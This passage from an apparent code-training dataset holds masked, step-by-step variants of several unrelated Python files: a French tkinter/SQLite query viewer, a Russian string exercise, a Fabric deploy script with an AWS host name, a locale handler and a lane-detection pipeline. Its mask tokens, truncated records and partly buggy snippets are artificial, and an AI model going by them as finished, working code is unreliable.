rien.\n \"\"\"\n if titre != '':\n titre += '\\n\\n'\n affichage(titre + texte_table(table, debut, fin), titre)\n\n\ndef texte_table(table, debut=0, fin=None):\n \"\"\"\n prend en argument table une liste.\n renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table.\n \"\"\"\n max = taille_plus_grande_reponse(table)\n texte = '+' + max * '-' + '+\\n'\n for i in range(len(table)):\n texte = texte + '|' + str(table[i]) + (max - len(str(table[i]))\n ) * ' ' + '|' + '\\n+' + max * '-' + '+\\n'\n return texte\n\n\n<mask token>\n\n\ndef fichier_txt_en_texte(fichier):\n \"\"\"\n prend en argument le chemin d'un fichier texte\n Renvoie le contenu du fichier texte sous forme de chaîne de caractère.\n \"\"\"\n with open(fichier, 'r') as requete:\n return requete.read()\n\n\ndef chemin(nom, repertoire):\n \"\"\"\n Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête.\n Renvoie le chemin de la requête.\n \"\"\"\n return repertoire + '/' + nom\n\n\ndef texte_en_liste(nom_requete, repertoire):\n requete = fichier_txt_en_texte(chemin(nom_requete, repertoire))\n return requete.split()\n\n\ndef liste_en_texte(liste):\n \"\"\"\n prend en argument une liste et un indice et renvoie la même liste mais l'élement d'indice 'n' est transformé en texte.\n \"\"\"\n texte = ''\n for i in range(len(liste)):\n texte = texte + str(liste[i]) + ' '\n return texte\n\n\n<mask token>\n\n\ndef creer_dictionnaire_vide():\n \"\"\"\n Ne contient aucun argument et renvoie un dictionnaire vide.\n \"\"\"\n dico = {}\n return dico\n\n\ndef nom_element_du_repertoire(repertoire):\n \"\"\"\n prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian.\n renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir.\n \"\"\"\n path = (\n 'C:\\\\Users\\\\Elève\\\\Desktop\\\\projet NSI\\\\projetsqlKilian\\\\projetsqlKilian\\\\'\n + repertoire)\n nom_requete = os.listdir(path)\n return nom_requete\n\n\ndef stocker_requete(dico, repertoire):\n \"\"\"\n prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes.\n ne renvoie rien\n \"\"\"\n liste = nom_element_du_repertoire(repertoire)\n for i in range(len(liste)):\n requete = separer_requete_et_question(liste[i], repertoire)\n dico[i] = ['#' + str(i + 1) + ') ' + requete[0], requete[1]]\n\n\ndef afficher(dico):\n \"\"\"\n prend en argument un dictionnaire et renvoie ce disctionnaire.\n \"\"\"\n return dico\n\n\n<mask token>\n", "step-5": "def execute(n,dico):\n \"\"\"\n Prend en argument n, la position de la requête dans le dictionaire et dico le nom du dictionnaire.\n Renvoie une liste dont chaque élément est une réponse de la requête.\n \"\"\"\n l = []\n import sqlite3\n conn = sqlite3.connect('imdb.db')\n c = conn.cursor()\n c.execute(dico[n][1])\n for row in c:\n l.append(row)\n conn.close()\n return l\n\ndef taille_plus_grande_reponse(reponses):\n \"\"\"\n Prend en argument une liste.\n Renvoie la taille du plus grand élément de la liste.\n \"\"\"\n l = reponses\n maxi = 0\n for i in range(len(l)):\n if len(str(l[i])) > maxi:\n maxi = len(str(l[i]))\n return maxi\n\n\"\"\"affichage question\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nfrom tkinter import *\n\ndef question(dico):\n \"\"\"\n prend en argument un disctionnaire.\n Ne renvoie rien.\n \"\"\"\n l = []\n for i in range(len(dico)):\n l.append(dico[i][0])\n affichage_question(dico,l)\n\ndef affichage_question(dico, texte, titre = \"Question\"):\n \"\"\"\n prend en argument dico un dictionnaire, texte une liste, et titre une chaine de caractère.\n Renvoie une page tkinter où chaque indice de la liste texte est un bouton clickable et où titre et le nom de la page.\n \"\"\"\n fenetre = tkinter.Tk()\n fenetre.title(titre)\n for i in range(len(texte)):\n bouton={}\n bouton[i]=Button(fenetre, text=texte[i], command=lambda n=i, dico=dico:requete(n,dico))\n bouton[i].pack()\n\n\n fenetre.mainloop()\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\ndef requete(n,dico):\n \"\"\"\n prend en argument n l'indice de la requête dans le dictionnaire et dico un dictionnaire.\n ne renvoie rien\n \"\"\"\n r = execute(n,dico)\n afficher_table(execute(n,dico),dico[n][0])\n\nimport tkinter\nimport os\n\ndef afficher_table(table, titre =\"\", debut = 0, fin = None):\n \"\"\"\n prend en argument table une liste et titre une chaine de caractère.\n ne renvoie rien.\n \"\"\"\n if titre != \"\":\n\t titre += \"\\n\\n\"\n\t#print(titre + texte_table(table, debut, fin))\n affichage(titre + texte_table(table, debut, fin), titre)\n \ndef texte_table(table, debut = 0, fin = None):\n \"\"\"\n prend en argument table une liste.\n renvoie une chaîne de caractère composé d'un tableau avec dans chaque case un élement de table.\n \"\"\"\n max = taille_plus_grande_reponse(table)\n texte = '+' + max * '-' + '+\\n'\n for i in range(len(table)):\n texte = texte + '|' + str(table[i]) + (max - len(str(table[i]))) * ' ' + '|' + '\\n+' + max * '-' + '+\\n'\n return texte\n\ndef affichage(texte, titre = \"Requêtes tables\"):\n \"\"\"\n prend en argument texte une chaîne de caractère et titre une chaine de caractère\n renvoie une fenêtre tkinter\n \"\"\"\n root = tkinter.Tk()\n root.title(str(titre))\n RWidth=root.winfo_screenwidth() - 100\n RHeight=root.winfo_screenheight() - 100\n root.geometry(\"%dx%d+50+0\"%(RWidth, RHeight))\n text=tkinter.Text(root, wrap = 'none')\n scroll_x=tkinter.Scrollbar(text.master, orient='horizontal', command = text.xview)\n scroll_x.config(command = text.xview)\n text.configure(xscrollcommand = scroll_x.set)\n scroll_x.pack(side = 'bottom', fill = 'x', anchor = 'w')\n scroll_y = tkinter.Scrollbar(text.master)\n scroll_y.config(command = text.yview)\n text.configure(yscrollcommand = scroll_y.set)\n scroll_y.pack(side = tkinter.RIGHT, fill = 'y')\n text.insert(\"1.0\", texte)\n text.pack(side = tkinter.LEFT, expand = True, fill = tkinter.BOTH)\n root.mainloop()\n\ndef fichier_txt_en_texte(fichier):\n \"\"\"\n prend en argument le chemin d'un fichier texte\n Renvoie le contenu du fichier texte sous forme de chaîne de caractère.\n \"\"\"\n with open(fichier, \"r\") as requete:\n return requete.read()\n\ndef chemin(nom, repertoire):\n \"\"\"\n Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête.\n Renvoie le chemin de la requête.\n \"\"\"\n return repertoire + '/' + nom\n\ndef texte_en_liste(nom_requete, repertoire):\n requete = fichier_txt_en_texte(chemin(nom_requete, repertoire))\n return requete.split()\n\ndef liste_en_texte(liste):\n \"\"\"\n prend en argument une liste et un indice et renvoie la même liste mais l'élement d'indice 'n' est transformé en texte.\n \"\"\"\n texte = \"\"\n for i in range(len(liste)):\n texte = texte + str(liste[i]) + \" \"\n return texte\n \ndef separer_requete_et_question(nom, repertoire):\n \"\"\"\n prend en argument le numéro de la requête et renvoie la question et la requête sésparé.\n \"\"\"\n requete = texte_en_liste(nom, repertoire) #transforme la requête en tableau\n question = \"\"\n for i in range(len(requete)): #cherche le moment où la question s'arrête et sépare la question de la requête\n if requete[i] == \"?\":\n question = requete[0:i+1] #stock la question\n requete = requete[i+1:len(requete)] #stock la réponse\n break #stop la boucle quand la \"?\" est trouvé\n return [liste_en_texte(question),liste_en_texte(requete)]\n\ndef creer_dictionnaire_vide():\n \"\"\"\n Ne contient aucun argument et renvoie un dictionnaire vide.\n \"\"\"\n dico = {}\n return dico\n\ndef nom_element_du_repertoire(repertoire):\n \"\"\"\n prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian.\n renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir.\n \"\"\"\n path = \"C:\\\\Users\\\\Elève\\\\Desktop\\\\projet NSI\\\\projetsqlKilian\\\\projetsqlKilian\\\\\" + repertoire\n nom_requete = os.listdir(path) \n return nom_requete\n\ndef stocker_requete(dico, repertoire):\n \"\"\"\n prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes.\n ne renvoie rien\n \"\"\"\n liste = nom_element_du_repertoire(repertoire)\n for i in range(len(liste)):\n requete = separer_requete_et_question(liste[i], repertoire)\n dico[i] = ['#' + str(i+1) + ') ' + requete[0], requete[1]]\n \n \ndef afficher(dico):\n \"\"\"\n prend en argument un dictionnaire et renvoie ce disctionnaire.\n \"\"\"\n return dico\n\na = creer_dictionnaire_vide()\nstocker_requete(a,'requête')\n#print(afficher(a))\nquestion(a)\n#print(nom_element_du_repertoire('requête'))\n#requete(a)\n#print(execute(1,a))\n#print(taille_plus_grande_reponse(execute(1,a)))", "step-ids": [ 8, 11, 13, 14, 21 ] }

[ 8, 11, 13, 14, 21 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for char in string: if char.isupper(): upp_regist += 1 elif char.islower(): low_regist += 1 print('Some string:', string) if upp_regist > low_regist: print('Some edited string:', string.upper()) elif low_regist > upp_regist: print('Some edited string:', string.lower()) else: print('Some edited string:', string.swapcase()) print('Some string:', string) if string.istitle(): print('Some edited string: done. ' + string) else: print('Some edited string:', string.replace('Lorem', 'draft: ')) print('Some string:', string) if len(string) > 20: string = string[:20] print('Some edited string:', string) else: print('Some edited string:', string.ljust(20, '@')) <|reserved_special_token_1|> <|reserved_special_token_0|> string = 'Lorem, Ipsum, Is, SImPlY, DuMMy, TEXT, Of, The, Printing, INDUSTRY.' upp_regist = low_regist = title_regist = 0 for char in string: if char.isupper(): upp_regist += 1 elif char.islower(): low_regist += 1 print('Some string:', string) if upp_regist > low_regist: print('Some edited string:', string.upper()) elif low_regist > upp_regist: print('Some edited string:', string.lower()) else: print('Some edited string:', string.swapcase()) print('Some string:', string) if string.istitle(): print('Some edited string: done. ' + string) else: print('Some edited string:', string.replace('Lorem', 'draft: ')) print('Some string:', string) if len(string) > 20: string = string[:20] print('Some edited string:', string) else: print('Some edited string:', string.ljust(20, '@')) <|reserved_special_token_1|> """ 1. Если в строке больше символов в нижнем регистре - вывести все в нижнем, если больше в верхнем - вывести все в верхнем, если поровну - вывести в противоположных регистрах. 2. Если в строке каждое слово начинается с заглавной буквы, тогда добавить в начало строки 'done. '. Иначе заменить первые 5 элементов строки на 'draft: '. (можно использовать метод replace и/или конкатенацию строк + срезы) 3. Если длина строки больше 20, то обрезать лишние символы до 20. Иначе дополнить строку символами '@' до длины 20. (можно использовать метод ljust либо конкатенацию и дублирование (+ и *)) После выполнения кажого пункта выводить результат типа: 1. Исходная строка: "some string". Результат: "some edited string". (Использовать форматирование строк f либо метод format) """ string = 'Lorem, Ipsum, Is, SImPlY, DuMMy, TEXT, Of, The, Printing, INDUSTRY.' upp_regist = low_regist = title_regist = 0 for char in string: if char.isupper(): upp_regist += 1 elif char.islower(): low_regist += 1 print('Some string:', string) if upp_regist > low_regist: print('Some edited string:', string.upper()) elif low_regist > upp_regist: print('Some edited string:', string.lower()) else: print('Some edited string:', string.swapcase()) print('Some string:', string) if string.istitle(): print('Some edited string: done. ' + string) else: print('Some edited string:', string.replace('Lorem', 'draft: ')) print('Some string:', string) if len(string) > 20: string = string[:20] print('Some edited string:', string) else: print('Some edited string:', string.ljust(20, '@'))

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{ "blob_id": "c7c405535b2ca656d4d5f18013e3e2fdef70efea", "index": 8088, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor char in string:\n if char.isupper():\n upp_regist += 1\n elif char.islower():\n low_regist += 1\nprint('Some string:', string)\nif upp_regist > low_regist:\n print('Some edited string:', string.upper())\nelif low_regist > upp_regist:\n print('Some edited string:', string.lower())\nelse:\n print('Some edited string:', string.swapcase())\nprint('Some string:', string)\nif string.istitle():\n print('Some edited string: done. ' + string)\nelse:\n print('Some edited string:', string.replace('Lorem', 'draft: '))\nprint('Some string:', string)\nif len(string) > 20:\n string = string[:20]\n print('Some edited string:', string)\nelse:\n print('Some edited string:', string.ljust(20, '@'))\n", "step-3": "<mask token>\nstring = 'Lorem, Ipsum, Is, SImPlY, DuMMy, TEXT, Of, The, Printing, INDUSTRY.'\nupp_regist = low_regist = title_regist = 0\nfor char in string:\n if char.isupper():\n upp_regist += 1\n elif char.islower():\n low_regist += 1\nprint('Some string:', string)\nif upp_regist > low_regist:\n print('Some edited string:', string.upper())\nelif low_regist > upp_regist:\n print('Some edited string:', string.lower())\nelse:\n print('Some edited string:', string.swapcase())\nprint('Some string:', string)\nif string.istitle():\n print('Some edited string: done. ' + string)\nelse:\n print('Some edited string:', string.replace('Lorem', 'draft: '))\nprint('Some string:', string)\nif len(string) > 20:\n string = string[:20]\n print('Some edited string:', string)\nelse:\n print('Some edited string:', string.ljust(20, '@'))\n", "step-4": "\"\"\"\n 1. Если в строке больше символов в нижнем регистре - вывести все в нижнем,\n если больше в верхнем - вывести все в верхнем,\n если поровну - вывести в противоположных регистрах.\n 2. Если в строке каждое слово начинается с заглавной буквы, тогда\n добавить в начало строки 'done. '.\n Иначе заменить первые 5 элементов строки на 'draft: '.\n (можно использовать метод replace и/или конкатенацию строк + срезы)\n 3. Если длина строки больше 20, то обрезать лишние символы до 20.\n Иначе дополнить строку символами '@' до длины 20.\n (можно использовать метод ljust либо конкатенацию и дублирование (+ и *))\n После выполнения кажого пункта выводить результат типа:\n 1. Исходная строка: \"some string\".\n Результат: \"some edited string\".\n (Использовать форматирование строк f либо метод format)\n\"\"\"\n\nstring = 'Lorem, Ipsum, Is, SImPlY, DuMMy, TEXT, Of, The, Printing, INDUSTRY.'\n\nupp_regist = low_regist = title_regist = 0\n\nfor char in string:\n if char.isupper():\n upp_regist += 1\n elif char.islower():\n low_regist += 1\n\nprint('Some string:', string)\nif upp_regist > low_regist:\n print('Some edited string:', string.upper())\nelif low_regist > upp_regist:\n print('Some edited string:', string.lower())\nelse:\n print('Some edited string:', string.swapcase())\n\nprint('Some string:', string)\nif string.istitle():\n print('Some edited string: done. ' + string)\nelse:\n print('Some edited string:', string.replace('Lorem', 'draft: '))\n\nprint('Some string:', string)\nif len(string) > 20:\n string = string[:20]\n print('Some edited string:', string)\nelse:\n print('Some edited string:', string.ljust(20, '@'))\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> def deploy(): print('deploying') pass <|reserved_special_token_1|> <|reserved_special_token_0|> def pack(): local('git checkout') local('git commit -a -s -m "Fabric Pack Commit"') def deploy(): print('deploying') pass <|reserved_special_token_1|> <|reserved_special_token_0|> AWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com' PROJECT_DIR = '/var/www/kamper' APP_DIR = '%s/app' % PROJECT_DIR <|reserved_special_token_0|> env.user = 'kamper' env.hosts = [AWS_EC2_01] env.key_filename = ( '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem' ) def pack(): local('git checkout') local('git commit -a -s -m "Fabric Pack Commit"') def deploy(): print('deploying') pass <|reserved_special_token_1|> from fabric.api import * AWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com' PROJECT_DIR = '/var/www/kamper' APP_DIR = '%s/app' % PROJECT_DIR <|reserved_special_token_0|> env.user = 'kamper' env.hosts = [AWS_EC2_01] env.key_filename = ( '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem' ) def pack(): local('git checkout') local('git commit -a -s -m "Fabric Pack Commit"') def deploy(): print('deploying') pass <|reserved_special_token_1|> # fabric이 실행할 대상을 제어. from fabric.api import * AWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com' # Running PROJECT_DIR = '/var/www/kamper' APP_DIR = '%s/app' % PROJECT_DIR """ # the user to use for the remote commands env.user = 'appuser' # the servers where the commands are executed env.hosts = ['server1.example.com', 'server2.example.com'] """ env.user = 'kamper' env.hosts = [AWS_EC2_01] env.key_filename = '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem' def pack(): # create a new source distribution as tarball local('git checkout') # local('git add *') local('git commit -a -s -m "Fabric Pack Commit"') # local('git push origin master', capture=False) def deploy(): print('deploying') pass # with settings(warn_only=True): # with cd(APP_DIR): # run('sudo ./deploy.sh')

flexible

{ "blob_id": "98db990f406cc6815480cca33011c8b0b2ad67c7", "index": 2343, "step-1": "<mask token>\n\n\ndef deploy():\n print('deploying')\n pass\n", "step-2": "<mask token>\n\n\ndef pack():\n local('git checkout')\n local('git commit -a -s -m \"Fabric Pack Commit\"')\n\n\ndef deploy():\n print('deploying')\n pass\n", "step-3": "<mask token>\nAWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com'\nPROJECT_DIR = '/var/www/kamper'\nAPP_DIR = '%s/app' % PROJECT_DIR\n<mask token>\nenv.user = 'kamper'\nenv.hosts = [AWS_EC2_01]\nenv.key_filename = (\n '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem'\n )\n\n\ndef pack():\n local('git checkout')\n local('git commit -a -s -m \"Fabric Pack Commit\"')\n\n\ndef deploy():\n print('deploying')\n pass\n", "step-4": "from fabric.api import *\nAWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com'\nPROJECT_DIR = '/var/www/kamper'\nAPP_DIR = '%s/app' % PROJECT_DIR\n<mask token>\nenv.user = 'kamper'\nenv.hosts = [AWS_EC2_01]\nenv.key_filename = (\n '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem'\n )\n\n\ndef pack():\n local('git checkout')\n local('git commit -a -s -m \"Fabric Pack Commit\"')\n\n\ndef deploy():\n print('deploying')\n pass\n", "step-5": "# fabric이 실행할 대상을 제어.\n\nfrom fabric.api import *\n\nAWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com' # Running\n\n\nPROJECT_DIR = '/var/www/kamper'\n\nAPP_DIR = '%s/app' % PROJECT_DIR\n\n\"\"\"\n\n# the user to use for the remote commands\nenv.user = 'appuser'\n\n# the servers where the commands are executed\nenv.hosts = ['server1.example.com', 'server2.example.com']\n\n\"\"\"\n\n\nenv.user = 'kamper'\nenv.hosts = [AWS_EC2_01]\nenv.key_filename = '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem'\n\n\ndef pack():\n # create a new source distribution as tarball\n local('git checkout')\n # local('git add *')\n local('git commit -a -s -m \"Fabric Pack Commit\"')\n\n\n # local('git push origin master', capture=False)\n\n\ndef deploy():\n print('deploying')\n pass\n\n # with settings(warn_only=True):\n # with cd(APP_DIR):\n # run('sudo ./deploy.sh')\n\n", "step-ids": [ 1, 2, 3, 4, 5 ] }

[ 1, 2, 3, 4, 5 ]

from mx.handlers import MainHandler # handler for changing app language class Locale(MainHandler): """ handles requests to change LOCALE or language for internationalization. """ def get(self): locale = self.request.get('locale') if not locale : locale = LOCALE locale = locale[:2].lower()+'_'+locale[-2:].upper() if self.switch_locale(locale): if self.local_user and self.local_user.locale != locale: u = LocalUser.by_id(self.local_user.key.id()) u.locale = locale u.put() self.write_json({'done':True}) else: self.write_json({'done':False}) # home page handler class MainPage(MainHandler): def get(self): self.render('home.html') def post(self): pw = self.request.get('pw')

normal

{ "blob_id": "bdcbb946dadf168149342c651ad03eaf4b748401", "index": 6803, "step-1": "<mask token>\n\n\nclass Locale(MainHandler):\n <mask token>\n <mask token>\n\n\nclass MainPage(MainHandler):\n\n def get(self):\n self.render('home.html')\n\n def post(self):\n pw = self.request.get('pw')\n", "step-2": "<mask token>\n\n\nclass Locale(MainHandler):\n <mask token>\n\n def get(self):\n locale = self.request.get('locale')\n if not locale:\n locale = LOCALE\n locale = locale[:2].lower() + '_' + locale[-2:].upper()\n if self.switch_locale(locale):\n if self.local_user and self.local_user.locale != locale:\n u = LocalUser.by_id(self.local_user.key.id())\n u.locale = locale\n u.put()\n self.write_json({'done': True})\n else:\n self.write_json({'done': False})\n\n\nclass MainPage(MainHandler):\n\n def get(self):\n self.render('home.html')\n\n def post(self):\n pw = self.request.get('pw')\n", "step-3": "<mask token>\n\n\nclass Locale(MainHandler):\n \"\"\"\n handles requests to change LOCALE or language for internationalization.\n \"\"\"\n\n def get(self):\n locale = self.request.get('locale')\n if not locale:\n locale = LOCALE\n locale = locale[:2].lower() + '_' + locale[-2:].upper()\n if self.switch_locale(locale):\n if self.local_user and self.local_user.locale != locale:\n u = LocalUser.by_id(self.local_user.key.id())\n u.locale = locale\n u.put()\n self.write_json({'done': True})\n else:\n self.write_json({'done': False})\n\n\nclass MainPage(MainHandler):\n\n def get(self):\n self.render('home.html')\n\n def post(self):\n pw = self.request.get('pw')\n", "step-4": "from mx.handlers import MainHandler\n\n\nclass Locale(MainHandler):\n \"\"\"\n handles requests to change LOCALE or language for internationalization.\n \"\"\"\n\n def get(self):\n locale = self.request.get('locale')\n if not locale:\n locale = LOCALE\n locale = locale[:2].lower() + '_' + locale[-2:].upper()\n if self.switch_locale(locale):\n if self.local_user and self.local_user.locale != locale:\n u = LocalUser.by_id(self.local_user.key.id())\n u.locale = locale\n u.put()\n self.write_json({'done': True})\n else:\n self.write_json({'done': False})\n\n\nclass MainPage(MainHandler):\n\n def get(self):\n self.render('home.html')\n\n def post(self):\n pw = self.request.get('pw')\n", "step-5": "\nfrom mx.handlers import MainHandler\n\n# handler for changing app language\nclass Locale(MainHandler):\n \"\"\"\n handles requests to change LOCALE or language for internationalization.\n \"\"\"\n def get(self):\n locale = self.request.get('locale')\n if not locale :\n locale = LOCALE\n locale = locale[:2].lower()+'_'+locale[-2:].upper()\n if self.switch_locale(locale):\n if self.local_user and self.local_user.locale != locale:\n u = LocalUser.by_id(self.local_user.key.id())\n u.locale = locale\n u.put()\n self.write_json({'done':True})\n else:\n self.write_json({'done':False})\n\n\n# home page handler\nclass MainPage(MainHandler):\n def get(self):\n self.render('home.html')\n\n def post(self):\n pw = self.request.get('pw')\n \n", "step-ids": [ 4, 5, 6, 7, 8 ] }

[ 4, 5, 6, 7, 8 ]

<|reserved_special_token_0|> def create_dir(directory): if not os.path.exists(directory): os.makedirs(directory) def get_full_paths_to_files(files_dir, filenames): return [os.path.join(files_dir, f) for f in filenames] def process_images(im_filenames, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) images = (mpimg.imread(fname) for fname in im_filenames) return (find_and_draw_lanes(im) for im in images) def save_images(images, destination_filenames): for fname, im in zip(destination_filenames, images): mpimg.imsave(fname, im) <|reserved_special_token_0|> def visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS): runner = CompGraphRunner(cg, frozen_tokens=params) ag = to_agraph(runner.token_manager.to_networkx()) ag.layout('dot') ag.draw(fname_dst) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def create_dir(directory): if not os.path.exists(directory): os.makedirs(directory) def get_full_paths_to_files(files_dir, filenames): return [os.path.join(files_dir, f) for f in filenames] def process_images(im_filenames, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) images = (mpimg.imread(fname) for fname in im_filenames) return (find_and_draw_lanes(im) for im in images) def save_images(images, destination_filenames): for fname, im in zip(destination_filenames, images): mpimg.imsave(fname, im) def process_and_save_video(video_fname_src, video_fname_dst, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) video_src = VideoFileClip(video_fname_src) video_dst = video_src.fl_image(find_and_draw_lanes) video_dst.write_videofile(video_fname_dst, audio=False) def visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS): runner = CompGraphRunner(cg, frozen_tokens=params) ag = to_agraph(runner.token_manager.to_networkx()) ag.layout('dot') ag.draw(fname_dst) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def create_dir(directory): if not os.path.exists(directory): os.makedirs(directory) def get_full_paths_to_files(files_dir, filenames): return [os.path.join(files_dir, f) for f in filenames] def process_images(im_filenames, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) images = (mpimg.imread(fname) for fname in im_filenames) return (find_and_draw_lanes(im) for im in images) def save_images(images, destination_filenames): for fname, im in zip(destination_filenames, images): mpimg.imsave(fname, im) def process_and_save_video(video_fname_src, video_fname_dst, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) video_src = VideoFileClip(video_fname_src) video_dst = video_src.fl_image(find_and_draw_lanes) video_dst.write_videofile(video_fname_dst, audio=False) def visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS): runner = CompGraphRunner(cg, frozen_tokens=params) ag = to_agraph(runner.token_manager.to_networkx()) ag.layout('dot') ag.draw(fname_dst) if __name__ == '__main__': """ INITIALIZATION """ im_dir_src = 'test_images' im_dir_dst = 'test_images_output' create_dir(im_dir_dst) im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src)) im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src)) video_dir_src = 'test_videos' video_dir_dst = 'test_videos_output' create_dir(video_dir_dst) video_files = 'solidWhiteRight.mp4', 'solidYellowLeft.mp4' video_files_src = get_full_paths_to_files(video_dir_src, video_files) video_files_dst = get_full_paths_to_files(video_dir_dst, video_files) params_1 = DEFAULT_PARAMS.copy() params_1['canny_lo'] = 50 params_1['canny_hi'] = 150 """ MEDIA GENERATION """ visualize_pipeline('pipeline.png') images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS) save_images(images_dst, im_files_dst) process_and_save_video(video_files_src[0], video_files_dst[0], COMP_GRAPH, DEFAULT_PARAMS) process_and_save_video(video_files_src[1], video_files_dst[1], COMP_GRAPH, params_1) <|reserved_special_token_1|> <|reserved_special_token_0|> COMP_GRAPH = lanespipeline.computational_graph DEFAULT_PARAMS = lanespipeline.parameters def create_dir(directory): if not os.path.exists(directory): os.makedirs(directory) def get_full_paths_to_files(files_dir, filenames): return [os.path.join(files_dir, f) for f in filenames] def process_images(im_filenames, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) images = (mpimg.imread(fname) for fname in im_filenames) return (find_and_draw_lanes(im) for im in images) def save_images(images, destination_filenames): for fname, im in zip(destination_filenames, images): mpimg.imsave(fname, im) def process_and_save_video(video_fname_src, video_fname_dst, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) video_src = VideoFileClip(video_fname_src) video_dst = video_src.fl_image(find_and_draw_lanes) video_dst.write_videofile(video_fname_dst, audio=False) def visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS): runner = CompGraphRunner(cg, frozen_tokens=params) ag = to_agraph(runner.token_manager.to_networkx()) ag.layout('dot') ag.draw(fname_dst) if __name__ == '__main__': """ INITIALIZATION """ im_dir_src = 'test_images' im_dir_dst = 'test_images_output' create_dir(im_dir_dst) im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src)) im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src)) video_dir_src = 'test_videos' video_dir_dst = 'test_videos_output' create_dir(video_dir_dst) video_files = 'solidWhiteRight.mp4', 'solidYellowLeft.mp4' video_files_src = get_full_paths_to_files(video_dir_src, video_files) video_files_dst = get_full_paths_to_files(video_dir_dst, video_files) params_1 = DEFAULT_PARAMS.copy() params_1['canny_lo'] = 50 params_1['canny_hi'] = 150 """ MEDIA GENERATION """ visualize_pipeline('pipeline.png') images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS) save_images(images_dst, im_files_dst) process_and_save_video(video_files_src[0], video_files_dst[0], COMP_GRAPH, DEFAULT_PARAMS) process_and_save_video(video_files_src[1], video_files_dst[1], COMP_GRAPH, params_1) <|reserved_special_token_1|> ''' Generate the output images and videos, including rendering of the pipeline ''' import os import matplotlib.image as mpimg import cv2 from moviepy.editor import VideoFileClip from networkx.drawing.nx_agraph import to_agraph import lanespipeline import lanefinder from compgraph import CompGraph, CompGraphRunner COMP_GRAPH = lanespipeline.computational_graph DEFAULT_PARAMS = lanespipeline.parameters def create_dir(directory): if not os.path.exists(directory): os.makedirs(directory) def get_full_paths_to_files(files_dir, filenames): return [os.path.join(files_dir, f) for f in filenames] def process_images(im_filenames, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) images = (mpimg.imread(fname) for fname in im_filenames) return (find_and_draw_lanes(im) for im in images) def save_images(images, destination_filenames): for fname, im in zip(destination_filenames, images): mpimg.imsave(fname, im) def process_and_save_video(video_fname_src, video_fname_dst, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) video_src = VideoFileClip(video_fname_src) video_dst = video_src.fl_image(find_and_draw_lanes) video_dst.write_videofile(video_fname_dst, audio=False) def visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS): runner = CompGraphRunner(cg, frozen_tokens=params) ag = to_agraph(runner.token_manager.to_networkx()) ag.layout('dot') ag.draw(fname_dst) if __name__ == '__main__': ''' INITIALIZATION ''' im_dir_src = 'test_images' im_dir_dst = 'test_images_output' create_dir(im_dir_dst) im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src)) im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src)) video_dir_src = 'test_videos' video_dir_dst = 'test_videos_output' create_dir(video_dir_dst) video_files = ('solidWhiteRight.mp4', 'solidYellowLeft.mp4') video_files_src = get_full_paths_to_files(video_dir_src, video_files) video_files_dst = get_full_paths_to_files(video_dir_dst, video_files) params_1 = 